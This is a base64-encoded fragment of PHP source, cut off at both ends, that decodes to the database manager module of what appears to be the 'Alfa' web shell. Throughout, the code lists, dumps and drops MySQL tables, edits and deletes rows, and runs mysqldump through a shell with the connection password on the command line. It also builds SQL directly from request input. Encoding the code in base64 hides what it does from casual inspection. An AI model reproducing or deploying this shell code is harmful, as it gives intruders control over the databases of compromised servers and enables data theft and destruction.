zcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydkYiddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2NoYXJzZXQnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnY2hhcnNldCddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ3R5cGUnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsndHlwZSddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2NvdW50J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9jb3VudCddKS4iJzsiLiRzcWxfdGl0bGVfZGIuImFsZmFDb25uZWN0aW9uSGlzdG9yeVVwZGF0ZSgpOzwvc2NyaXB0PiI7Cn0KaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspewppZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CmVjaG8gIjxkaXYgY2xhc3M9J215c3FsLW1haW4nPjxkaXYgbW9kZT0nYmxvY2snIG9uY2xpY2s9J2FsZmFNeXNxbFRhYmxlUGFuZWxDdGwodGhpcyk7JyBjbGFzcz0ndGFibGVzLXBhbmVsLWN0bCBkYi1vcHQtaWQnPiYjeDNDOyYjeDNDOzwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXRhYmxlcyc+PGRpdj48aW5wdXQgcGxhY2Vob2xkZXI9XCJGaWx0ZXIgVGFibGVcIiBzdHlsZT0ncGFkZGluZzogMDttYXJnaW4tbGVmdDogMTFweDt0ZXh0LWFsaWduOmNlbnRlcjsnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbHRlcl9hbGwnPjxidXR0b24gY2xhc3M9J2RiLW9wdC1pZCcgb25jbGljaz0nYWxmYU15c3FsRmlsdGVyQWxsVGFibGUodGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nYmxvY2snPjxhIHNxbF9jb3VudD0nIi4oZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/ImZhbHNlIjoidHJ1ZSIpLiInIG1vZGU9J2Nsb3NlZCcgb25jbGljaz0nYWxmYU15c3FsRmlsdGVyQWxsVGFibGUodGhpcyx0cnVlKTsnIGNsYXNzPSdleHBhbmRlciBwYXJlbnQtZXhwYW5kZXIgZGItb3B0LWlkJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7Jz48aW1nIHNyYz0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfcGx1cy5wbmcnIHRpdGxlPSdFeHBhbmQvQ29sbGFwc2UgQWxsIERhdGFCYXNlcycgYWx0PSdFeHBhbmQvQ29sbGFwc2UgQWxsIERhdGFCYXNlcyc+PC9hPjwvZGl2Pjx1bCBzdHlsZT0nbWFyZ2luLXRvcDogMjhweDsnPiI7CmZvcmVhY2ggKCRkYXRhYmFzZV9saXN0IGFzICRkYl9uYW1lKSB7CgllY2hvICc8bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PGEgc3FsX2NvdW50PSInLihlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8iZmFsc2UiOiJ0cnVlIikuJyIgZGJfdGFyZ2V0PSInLiRkYl9uYW1lLiciIG9uY2xpY2s9ImFsZmFNeXNxbEV4cGFuZGVyKHRoaXMpOyIgY2xhc3M9ImV4cGFuZGVyIGNscy0nLiRkYl9uYW1lLictZXhwYW5kZXIgZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7Ij48aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51LycuKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXT8iYl9taW51cy5wbmciOiJiX3BsdXMucG5nIikuJyIgdGl0bGU9IkV4cGFuZC9Db2xsYXBzZSIgYWx0PSJFeHBhbmQvQ29sbGFwc2UiPjwvYT48L2Rpdj48c3BhbiBjbGFzcz0iZGJfbmFtZSI+Jy4kZGJfbmFtZS4nPC9zcGFuPjxkaXYgY2xhc3M9ImNsZWFyZmxvYXQiPjwvZGl2PjxkaXYgZGJfbmFtZT0iJy4kZGJfbmFtZS4nIiBtb2RlPSInLigkZGJfbmFtZSA9PSAkX1BPU1RbJ3NxbF9iYXNlJ10/ImxvYWRlZCI6Im5vIikuJyIgY2xhc3M9Imxpc3RfY29udGFpbmVyIGNscy0nLiRkYl9uYW1lLiciPjxkaXY+JzsKCWlmKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXSl7CgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwoJCSR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOwoJCWVjaG8gJzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJy4kZGJfbmFtZS4nIiBwbGFjZWhvbGRlcj0iRmlsdGVyIFRhYmxlIiBvbmtleXVwPSJhbGZhTXlzcWxGaWx0ZXJUYWJsZSh0aGlzKTsiIG5hbWU9ImZpbHRlciI+PC9kaXY+PC9saT4nOwoJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKXsKCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKCQlpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpCgkJJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gYCcuJHZhbHVlLidgJykpOwoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsKCQllY2hvICI8bGk+PGRpdiBjbGFzcz0nYmxvY2snPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdiBjbGFzcz0ndGFibGVzLXJvdyc+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGNsYXNzPSdkYi1vcHQtaWQnIGRiX3RhcmdldD0nIi4kZGJfbmFtZS4iJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiYWxmYUxvYWRUYWJsZURhdGEodGhpcywnIi4kdmFsdWUuIicpXCI+PHNwYW4gY2xhc3M9J215c3FsX3RhYmxlcycgc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0Oyc+Ii4kdmFsdWUuIjwvc3Bhbj48L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD48c3BhbiBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7JyBjbGFzcz0nbXlzcWxfdGFibGVfY291bnQnPih7JG5bJ24nXX0pPC9zcGFuPjwvc21hbGw+IikgLiAiPC9kaXY+PC9saT4iOwoJCX0KCQllY2hvICc8L3VsPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OiAyNnB4O21hcmdpbi1ib3R0b206IDEwcHg7bWFyZ2luLXRvcDogMTBweDsiPjxpbnB1dCBvbmNoYW5nZT0iYWxmYU15c3FsVGFibGVzRXZpbCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIGNsYXNzPSJkYi1vcHQtaWQiIG5hbWU9InRhYmxlc19ldmlsIiBzdHlsZT0icGFkZGluZzogMDt3aWR0aDogMTAwcHg7Ij48b3B0aW9uIHNlbGVjdGVkPmRyb3A8L29wdGlvbj48b3B0aW9uPmR1bXA8L29wdGlvbj48L3NlbGVjdD4gPGJ1dHRvbiBvbmNsaWNrPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcEJ0bih0aGlzKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iZGItb3B0LWlkIiBkYl90YXJnZXQ9IicuJGRiX25hbWUuJyIgdGFyZ2V0PSIuY2xzLScuJGRiX25hbWUuJyIgY2xhc3M9ImRiLW9wdC1pZCI+RG8gaXQ8L2J1dHRvbj48ZGl2IGNsYXNzPSJkdW1wLWZpbGUtaG9sZGVyIiBzdHlsZT0iZGlzcGxheTpub25lO21hcmdpbi1sZWZ0OjIwcHg7bWFyZ2luLXRvcDogNXB4OyI+PGlucHV0IHN0eWxlPSJwYWRkaW5nOiAwO3RleHQtYWxpZ246Y2VudGVyOyIgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9ImR1bXAuc3FsIiBuYW1lPSJkdW1wX2ZpbGUiPjwvZGl2PjwvZGl2Pic7Cgl9CgllY2hvICI8L2Rpdj48L2xpPiI7Cn0KZWNobyAiPC91bD48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHRzJz48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHQtdGFicyc+PGRpdiBjbGFzcz0nZGItb3B0LWlkIG15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYicgdGFyZ2V0PScubXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQnIG9uY2xpY2s9J2FsZmFNeXNxbFRhYkN0bCh0aGlzKTsnPlJlc3VsdDwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtcXVlcnktZm9ybScgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+UXVlcnk8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLXNlYXJjaC1hcmVhJyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5TZWFyY2g8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLXN0cnVjdHVyZScgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+U3RydWN0dXJlPC9kaXY+PGRpdiBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1pbnNlcnQtcm93JyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5JbnNlcnQ8L2Rpdj48ZGl2IHN0eWxlPSdkaXNwbGF5Om5vbmU7JyBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1lZGl0LXJvdycgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+RWRpdDwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtaW5zZXJ0LXJvdyBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtZWRpdC1yb3cgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXNlYXJjaC1hcmVhIG15c3FsLWhpZGUtY29udGVudCc+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1zdHJ1Y3R1cmUgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXF1ZXJ5LWZvcm0gbXlzcWwtaGlkZS1jb250ZW50Jz48ZGl2IHN0eWxlPSdtYXJnaW4tYm90dG9tOiA1cHg7Jz48c3Bhbj5RdWVyeTo8L3NwYW4+PC9kaXY+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6OTAlO2hlaWdodDoxMDBweCc+PC90ZXh0YXJlYT48cD48ZGl2IHN0eWxlPSdmbG9hdDpsZWZ0O21hcmdpbi1sZWZ0OiAzMHB4Oyc+PGlucHV0IGNsYXNzPSdidXR0b24gZGItb3B0LWlkJyBkYl90YXJnZXQ9JyIuJF9QT1NUWydzcWxfYmFzZSddLiInIG9uY2xpY2s9J2FsZmFNeXNxbFF1ZXJ5KHRoaXMpO3JldHVybiBmYWxzZTsnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZGl2PjwvcD48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50Jz48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyJz48ZGl2IHN0eWxlPSdtYXJnaW4tYm90dG9tOiAxMHB4OycgY2xhc3M9J215c3FsLXF1ZXJ5LXJlcG9ydGVyJz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1wYWdlcic+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktdGFibGUnPjwvZGl2PjwvZGl2PjwvZm9ybT48L3RkPjwvdHI+IjsKfQplY2hvICI8L3RhYmxlPjwvZGl2PiI7CmVjaG8gIjwvZGl2PiI7Cn1lbHNlewplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsKfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYVNxbF9tYW5hZ2VyX2FwaSgpewoJJGRiID0gJF9QT1NUWyJhbGZhMSJdOwoJJHR5cGUgPSAkX1BPU1RbImFsZmEyIl07Cgkkc3FsX2NvdW50ID0gJF9QT1NUWyJhbGZhMyJdID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKCSRkYiA9IEBqc29uX2RlY29kZSgkZGIsIHRydWUpOwoJJGNvbm4gPSBAbXlzcWxpX2Nvbm5lY3QoJGRiWyJob3N0Il0sICRkYlsidXNlciJdLCAkZGJbInBhc3MiXSwgJGRiWyJkYiJdKTsKCUBteXNxbGlfc2V0X2NoYXJzZXQoJGNvbm4sICJ1dGY4Iik7CglpZigkY29ubil7CgkJaWYoJHR5cGUgPT0gImxvYWRfYWxsX3RhYmxlcyIpewoJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBgdGFibGVfc2NoZW1hYCwgYHRhYmxlX25hbWVgIEZST00gYGluZm9ybWF0aW9uX3NjaGVtYWAuYHRhYmxlc2AgV0hFUkUgYHRhYmxlX3NjaGVtYWAgSU4gKCciLmltcGxvZGUoIicsJyIsICRkYlsiZGF0YWJhc2VzIl0pLiInKTsiKTsKCQkJJGNvdW50ID0gMDsKCQkJd2hpbGUoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHFfdGFibGVzKSl7CgkJCQlpZigkc3FsX2NvdW50KXsKCQkJCQkkY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WyJ0YWJsZV9zY2hlbWEiXS4nYC5gJy4kcm93WyJ0YWJsZV9uYW1lIl0uJ2AnKTsKCQkJCQlpZigkY291bnRfcSl7CgkJCQkJCSRjb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb3VudF9xKTsKCQkJCQkJJGNvdW50ID0gJGNvdW50WzBdOwoJCQkJCX0KCQkJCX0KCQkJCSR0YWJsZXNbJHJvd1sidGFibGVfc2NoZW1hIl1dW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1sidGFibGVfbmFtZSJdLCAiY291bnQiID0+IChpbnQpJGNvdW50KTsKCQkJfQoJCQlmb3JlYWNoKCRkYlsiZGF0YWJhc2VzIl0gYXMgJGRiKXsKCQkJCWlmKCFpc3NldCgkdGFibGVzWyRkYl0pKXsKCQkJCQkkdGFibGVzWyRkYl0gPSBudWxsOwoJCQkJfQoJCQl9CgkJCWVjaG8gQGpzb25fZW5jb2RlKCR0YWJsZXMpOwoJCX1lbHNlaWYoJHR5cGUgPT0gImR1bXBfZHJvcCIpewoJCQlpZigkZGJbIm1vZGUiXSA9PSAiZHJvcCIpewoJCQkJZm9yZWFjaCAoJGRiWyJ0YWJsZXMiXSBhcyAkdGFibGUpIHsKCQkJCQlAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiRFJPUCBUQUJMRSBgIi4kdGFibGUuImA7Iik7CgkJCQl9CgkJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTSE9XIFRBQkxFUzsiKTsKCQkJCSRjb3VudCA9IDA7CgkJCQl3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcV90YWJsZXMpKXsKCQkJCQlpZigkc3FsX2NvdW50KXsKCQkJCQkJJGNvdW50X3EgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAnU0VMRUNUIENPVU5UKCopIEZST00gYCcuJHJvd1swXS4nYCcpOwoJCQkJCQlpZigkY291bnRfcSl7CgkJCQkJCQkkY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7CgkJCQkJCQkkY291bnQgPSAkY291bnRbMF07CgkJCQkJCX0KCQkJCQl9CgkJCQkJJHRhYmxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRyb3dbMF0sICJjb3VudCIgPT4gKGludCkkY291bnQpOwoJCQkJfQoJCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7CgkJCX1lbHNlewoJCQkJaWYoc3RybGVuKGFsZmFFeCgibXlzcWxkdW1wIikpPjApewoJCQkJCWFsZmFFeCgibXlzcWxkdW1wIC0tc2luZ2xlLXRyYW5zYWN0aW9uIC0taG9zdD1cIiIuJGRiWyJob3N0Il0uIlwiIC0tdXNlcj1cIiIuJGRiWyJ1c2VyIl0uIlwiIC0tcGFzc3dvcmQ9XCIiLiRkYlsicGFzcyJdLiJcIiAiLiRkYlsiZGIiXS4iICIuaW1wbG9kZSgiICIsICRkYlsidGFibGVzIl0pLiIgID4gIi4kZGJbImR1bXBfZmlsZSJdKTsKCQkJCX1lbHNlewoJCQkJCSRmcCA9IEBmb3BlbigkZGJbImR1bXBfZmlsZSJdLCAidyIpOwoJCQkJCWZvcmVhY2ggKCRkYlsidGFibGVzIl0gYXMgJHRhYmxlKSB7CgkJCQkJCSRyZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7CgkJCQkJCSRjcmVhdGUgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRyZXMpOwoJCQkJCQkkc3FsID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWJsZS4iYDtcbiIgLiAkY3JlYXRlWzFdLiI7XG4iOwoJCQkJCQlpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJCSR0YmxfZGF0YSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOwoJCQkJCQkkaGVhZCA9IHRydWU7CgkJCQkJCXdoaWxlKCRpdGVtID0gQG15c3FsaV9mZXRjaF9hc3NvYygkdGJsX2RhdGEpKXsKCQkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CgkJCQkJCQlpZigkdiA9PSBudWxsKQoJCQkJCQkJJGl0ZW1bJGtdID0gIicnIjsKCQkJCQkJCWVsc2VpZihpc19udW1lcmljKCR2KSkKCQkJCQkJCSRpdGVtWyRrXSA9ICR2OwoJCQkJCQkJZWxzZQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLkBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7CgkJCQkJCQl9CgkJCQkJCQlpZigkaGVhZCkgewoJCQkJCQkJJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7CgkJCQkJCQkkaGVhZCA9IGZhbHNlOwoJCQkJCQkJfSBlbHNlCgkJCQkJCQkkc3FsID0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOwoJCQkJCQkJaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCQl9CgkJCQkJCWlmKCEkaGVhZCkKCQkJCQkJCWlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsKCQkJCQl9CgkJCQl9CgkJCQllY2hvIEBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIiA9PiB0cnVlLCAiZmlsZSIgPT4gJGRiWyJkdW1wX2ZpbGUiXSkpOwoJCQl9CgkJfWVsc2VpZigkdHlwZSA9PSAibG9hZF90YWJsZXMiKXsKCQkJJHRhYmxlcyA9IGFycmF5KCk7CgkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTSE9XIFRBQkxFUzsiKTsKCQkJJGNvdW50ID0gMDsKCQkJd2hpbGUoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHFfdGFibGVzKSl7CgkJCQlpZigkc3FsX2NvdW50KXsKCQkJCQkkY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WzBdLidgJyk7CgkJCQkJaWYoJGNvdW50X3EpewoJCQkJCQkkY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7CgkJCQkJCSRjb3VudCA9ICRjb3VudFswXTsKCQkJCQl9CgkJCQl9CgkJCQkkdGFibGVzW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1swXSwgImNvdW50IiA9PiAoaW50KSRjb3VudCk7CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7CgkJfWVsc2VpZigkdHlwZSA9PSAiYWx0ZXIiKXsKCQkJJGRiWyJhbHRlciJdWyJ0eXBlIl0gPSBzdHJ0b2xvd2VyKCRkYlsiYWx0ZXIiXVsidHlwZSJdKTsKCQkJJGlucHV0cyA9ICRkYlsiYWx0ZXIiXVsidHlwZSJdLiIoIi4kZGJbImFsdGVyIl1bImlucHV0Il0uIikiOwoJCQkkdGV4dF9pbnB1dCA9IGFycmF5KCJsb25ndGV4dCIsICJ0ZXh0IiwgIm1lZGl1bXRleHQiLCAidGlueXRleHQiKTsKCQkJaWYoaW5fYXJyYXkoJGRiWyJhbHRlciJdWyJ0eXBlIl0sICR0ZXh0X2lucHV0KSl7CgkJCQkkaW5wdXRzID0gJGRiWyJhbHRlciJdWyJ0eXBlIl07CgkJCX0KCQkJQG15c3FsaV9xdWVyeSgkY29ubiwgIkFMVEVSIFRBQkxFIGAiLiRkYlsidGFibGUiXS4iYCBNT0RJRlkgQ09MVU1OIGAiLiRkYlsiY29sdW1uIl0uImAgIiAuICRpbnB1dHMpOwoJCQkkZXJyb3IgPSBAbXlzcWxpX2Vycm9yKCRjb25uKTsKCQkJaWYoJGVycm9yKXsKCQkJCWVjaG8gJGVycm9yOwoJCQl9ZWxzZXsKCQkJCWVjaG8gIm9rIjsKCQkJfQoJCX1lbHNlaWYoJHR5cGUgPT0gImVkaXQiIHx8ICR0eXBlID09ICJkZWxldGUiIHx8ICR0eXBlID09ICJkZWxldGVfYWxsIil7CgkJCWlmKCR0eXBlID09ICJlZGl0Iil7CgkJCQkkcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgKiBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgV0hFUkUgYCIuJGRiWyJjb2xfa2V5Il0uImAgPSAnIi5hZGRzbGFzaGVzKCRkYlsia2V5Il0pLiInIExJTUlUIDAsMSIpOwoJCQkJJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHEpOwoJCQkJaWYoJHJvdyl7CgkJCQkJJGNvbHVtbnNfcXVlcnkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIGFzIG5hbWUsIENPTFVNTl9UWVBFLCBEQVRBX1RZUEUgYXMgdHlwZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIGBUQUJMRV9TQ0hFTUFgID0gJyIuJGRiWyJkYiJdLiInIEFORCBgVEFCTEVfTkFNRWAgPSAnIi4kZGJbInRhYmxlIl0uIiciKTsKCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJJGVkaXRfZGF0YSA9IGFycmF5KCk7CgkJCQkJd2hpbGUoJHJvdzIgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRjb2x1bW5zX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkJCQkJJGlucHV0ID0gYXJyYXkoImNvbF90eXBlIiA9PiAkcm93MlsiQ09MVU1OX1RZUEUiXSk7CgkJCQkJCSRyb3cyWyJ0eXBlIl0gPSBzdHJ0b2xvd2VyKCRyb3cyWyJ0eXBlIl0pOwoJCQkJCQlzd2l0Y2goJHJvdzJbInR5cGUiXSl7CgkJCQkJCQljYXNlICJsb25ndGV4dCI6IGNhc2UgInRleHQiOiBjYXNlICJtZWRpdW10ZXh0IjogY2FzZSAidGlueXRleHQiOgoJCQkJCQkJCSRpbnB1dFsidGFnIl0gPSAidGV4dGFyZWEiOwoJCQkJCQkJYnJlYWs7CgkJCQkJCQljYXNlICJpbnQiOiBjYXNlICJzbWFsbGludCI6IGNhc2UgImJpZ2ludCI6IGNhc2UgInRpbnlpbnQiOiBjYXNlICJtZWRpdW1pbnQiOgoJCQkJCQkJCSRpbnB1dFsidGFnIl0gPSAiaW5wdXQiOwoJCQkJCQkJCSRpbnB1dFsidHlwZSJdID0gIm51bWJlciI7CgkJCQkJCQlicmVhazsKCQkJCQkJCWRlZmF1bHQ6CgkJCQkJCQkJJGlucHV0WyJ0YWciXSA9ICJpbnB1dCI7CgkJCQkJCQkJJGlucHV0WyJ0eXBlIl0gPSAidGV4dCI7CgkJCQkJCX0KCQkJCQkJJGNvbHVtbnNbJHJvdzJbIm5hbWUiXV0gPSAkaW5wdXQ7CgkJCQkJfQoJCQkJCWZvcmVhY2goJHJvdyBhcyAka2V5ID0+ICR2KXsKCQkJCQkJJGVkaXRfZGF0YVtdID0gYXJyYXkoImNvbCIgPT4gJGtleSwgInZhbHVlIiA9PiBodG1sc3BlY2lhbGNoYXJzKCR2LCBFTlRfUVVPVEVTLCAnVVRGLTgnKSwgInR5cGUiID0+ICRjb2x1bW5zWyRrZXldKTsKCQkJCQl9CgkJCQkJZWNobyBAanNvbl9lbmNvZGUoJGVkaXRfZGF0YSk7CgkJCQl9CgkJCX1lbHNlewoJCQkJaWYoJHR5cGUgPT0gImRlbGV0ZV9hbGwiKXsKCQkJCQkkcm93cyA9IGltcGxvZGUoIicsICciLCAkZGJbInJvd3MiXSk7CgkJCQl9ZWxzZXsKCQkJCQkkcm93cyA9IGFkZHNsYXNoZXMoJGRiWyJrZXkiXSk7CgkJCQl9CgkJCQkkcXVlcnkgPSAiREVMRVRFIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCBJTiAoJyIuJHJvd3MuIicpIjsKCQkJCUBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCQkkZXJyb3IgPSBAbXlzcWxpX2Vycm9yKCRjb25uKTsKCQkJCWlmKCRlcnJvcil7CgkJCQkgCSRzdGF0dXMgPSBmYWxzZTsKCQkJCX1lbHNlewoJCQkJIAkkc3RhdHVzID0gdHJ1ZTsKCQkJCX0KCQkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRzdGF0dXMsICJlcnJvciIgPT4gJGVycm9yLCAicXVlcnkiID0+ICRxdWVyeSkpOwoJCQl9CgkJfWVsc2VpZigkdHlwZSA9PSAidXBkYXRlIil7CgkJCSRxdWVyeSA9ICJVUERBVEUgYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBTRVQgIjsK